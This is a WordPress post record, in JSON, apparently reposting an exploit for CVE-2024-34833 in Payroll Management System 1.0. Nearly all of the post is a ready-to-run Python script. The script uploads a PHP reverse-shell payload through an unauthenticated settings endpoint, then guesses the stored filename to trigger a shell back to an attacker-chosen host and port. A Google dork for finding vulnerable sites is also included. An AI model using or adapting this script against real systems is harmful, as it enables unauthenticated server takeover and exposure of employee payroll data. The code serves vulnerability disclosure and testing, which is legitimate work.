{"id":57524,"date":"2024-06-17T18:51:35","date_gmt":"2024-06-17T15:51:35","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179106\/pms10-exec.txt"},"modified":"2024-06-17T18:51:35","modified_gmt":"2024-06-17T15:51:35","slug":"payroll-management-system-1-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/payroll-management-system-1-0-remote-code-execution\/","title":{"rendered":"Payroll Management System 1.0 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: Payroll Management System v1.0 RCE (Unauthenticated)<br \/># Google Dork: intitle:&#8221;Employee&#8217;s Payroll Management System&#8221;<br \/># Date: 16\/06\/2024<br \/># Exploit Author: ShellUnease<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com\/<br \/># Software Link: https:\/\/www.sourcecodester.com\/php\/14475\/payroll-management-system-using-phpmysql-source-code.html<br \/># Version: v1.0<br \/># Tested on: Kali Linux Apache Web Server<br \/># CVE : CVE-2024-34833<\/p>\n<p>#!\/usr\/bin\/python<br \/>import argparse<br \/>import time<br \/>import requests<\/p>\n<p>class Exploit:<br \/>def __init__(self, rhost, rport, lhost, lport, https):<br \/>self.rhost = rhost<br \/>self.rport = rport<br \/>self.lhost = lhost<br \/>self.lport = lport<br \/>self.targetUrl = f&#8217;https:\/\/{rhost}:{rport}&#8217; if https else f&#8217;http:\/\/{rhost}:{rport}&#8217;<br \/>self.banner()<\/p>\n<p>def banner(self):<br \/>print(&#8220;&#8221;&#8221;<br \/>_____ _ _ <br \/>| __ \\ | | | <br \/>| |__) |_ _ _ _ _ __ ___ | | | <br \/>| ___\/ _` | | | | &#8216;__\/ _ \\| | | <br \/>| | | (_| | |_| | | | (_) | | | <br \/>|_| _\\__,_|\\__, |_| \\___\/|_|_| _ <br \/>| \\\/ | __\/ | | | <br \/>| \\ \/ | __ |___\/_ __ _ __ _ ___ _ __ ___ ___ _ __ | |_ <br \/>| |\\\/| |\/ _` | &#8216;_ \\ \/ _` |\/ _` |\/ _ \\ &#8216;_ ` _ \\ \/ _ \\ &#8216;_ \\| __|<br \/>| | | | (_| | | | | (_| | (_| | __\/ | | | | | __\/ | | | |_ <br \/>|_|__|_|\\__,_|_| |_|\\__,_|\\__, |\\___|_|_|_| |_|\\___|_|_|_|\\__|<br \/>\/ ____| | | __\/ | | __ \\ \/ ____| ____| <br \/>| (___ _ _ ___| |_ ___ |___\/___ | |__) | | | |__ <br \/>\\___ \\| | | \/ __| __\/ _ \\ &#8216;_ ` _ \\ | _ \/| | | __| <br \/>____) | |_| \\__ \\ || __\/ | | | | | | | \\ \\| |____| |____ <br \/>|_____\/ \\__, |___\/\\__\\___|_| |_| |_| |_| \\_\\\\_____|______| <br \/>__\/ | <br \/>|___\/ <br \/>&#8220;&#8221;&#8221;)<\/p>\n<p>def get_data(self):<br \/>return {<br \/>&#8216;name&#8217;: &#8216;John Doe&#8217;,<br \/>&#8217;email&#8217;: &#8216;jdoe@gmail.com&#8217;,<br \/>&#8216;contact&#8217;: &#8216;John Doe&#8217;,<br \/>&#8216;about&#8217;: &#8216;John Doe&#8217;,<br \/>}<\/p>\n<p>def get_payload(self):<br \/>return (f'&lt;?php $sock=fsockopen(&#8220;{self.lhost}&#8221;,{self.lport});$proc=proc_open(&#8220;sh&#8221;, array(0=&gt;$sock, 1=&gt;$sock, &#8216;<br \/>f&#8217;2=&gt;$sock),$pipes); ?&gt;&#8217;)<\/p>\n<p>def upload_rev_shell(self):<br \/>url = f'{self.targetUrl}\/ajax.php?action=save_settings&#8217;<br \/>print(f&#8217;Uploading a reverse shell via {url}&#8217;)<br \/>requests.post(url, files={&#8216;img&#8217;: (&#8216;a.php&#8217;, self.get_payload())},<br \/>data=self.get_data())<br \/>epoch = time.time()<br \/>timestamp = epoch &#8211; (epoch % 60)<br \/>timestamp_minus_one_min = timestamp &#8211; 60<br \/>timestamp_plus_one_min = timestamp + 60<br \/>return [f'{int(timestamp)}_a.php&#8217;, f'{int(timestamp_minus_one_min)}_a.php&#8217;,<br \/>f'{int(timestamp_plus_one_min)}_a.php&#8217;]\n<p>def open_rev_shell(self, candidates):<br \/>print(&#8216;Opening a reverse shell&#8217;)<br \/>for candidate in candidates:<br \/>url = f'{self.targetUrl}\/assets\/img\/{candidate}&#8217;<br \/>try:<br \/>requests.get(url).raise_for_status()<br \/>print(f&#8217;Got a success response for {url}, you should have a revshell&#8217;)<br \/>return<br \/>except Exception as e:<br \/>print(f&#8217;Failed to open revshell using {url}&#8217;)<br \/>print(&#8216;Guessing filename failed&#8217;)<\/p>\n<p>def exploit(self):<br \/>candidates = self.upload_rev_shell()<br \/>self.open_rev_shell(candidates)<\/p>\n<p>def get_args():<br \/>parser = argparse.ArgumentParser(<br \/>description=&#8217;Payroll Management System &#8211; Remote Code Execution (RCE) (Unauthenticated)&#8217;)<br \/>parser.add_argument(&#8216;-rhost&#8217;, &#8216;&#8211;remote-host&#8217;, dest=&#8221;rhost&#8221;, required=True, action=&#8217;store&#8217;, help=&#8217;Remote host&#8217;)<br \/>parser.add_argument(&#8216;-rport&#8217;, &#8216;&#8211;remote-port&#8217;, dest=&#8221;rport&#8221;, required=False, action=&#8217;store&#8217;, help=&#8217;Remote port&#8217;,<br \/>default=80)<br \/>parser.add_argument(&#8216;-lhost&#8217;, &#8216;&#8211;local-host&#8217;, dest=&#8221;lhost&#8221;, required=True, action=&#8217;store&#8217;, help=&#8217;Local host&#8217;)<br \/>parser.add_argument(&#8216;-lport&#8217;, &#8216;&#8211;local-port&#8217;, dest=&#8221;lport&#8221;, required=True, action=&#8217;store&#8217;, help=&#8217;Local port&#8217;)<br \/>parser.add_argument(&#8216;-https&#8217;, &#8216;&#8211;https&#8217;, dest=&#8221;https&#8221;, required=False, action=&#8217;store_true&#8217;, help=&#8217;Use https&#8217;)<br \/>args = parser.parse_args()<br \/>return args<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>args = get_args()<br \/>exp = Exploit(args.rhost, args.rport, args.lhost, args.lport, args.https)<br \/>exp.exploit()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Payroll Management System v1.0 RCE (Unauthenticated)# Google Dork: intitle:&#8221;Employee&#8217;s Payroll Management System&#8221;# Date: 16\/06\/2024# Exploit Author: ShellUnease# Vendor Homepage: https:\/\/www.sourcecodester.com\/# Software Link: https:\/\/www.sourcecodester.com\/php\/14475\/payroll-management-system-using-phpmysql-source-code.html# Version: v1.0# Tested on: Kali Linux Apache Web Server# CVE : CVE-2024-34833 #!\/usr\/bin\/pythonimport argparseimport timeimport requests class Exploit:def __init__(self, rhost, rport, lhost, lport, https):self.rhost = rhostself.rport = rportself.lhost = &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57524","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57524","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57524"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57524\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57524"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57524"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57524"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}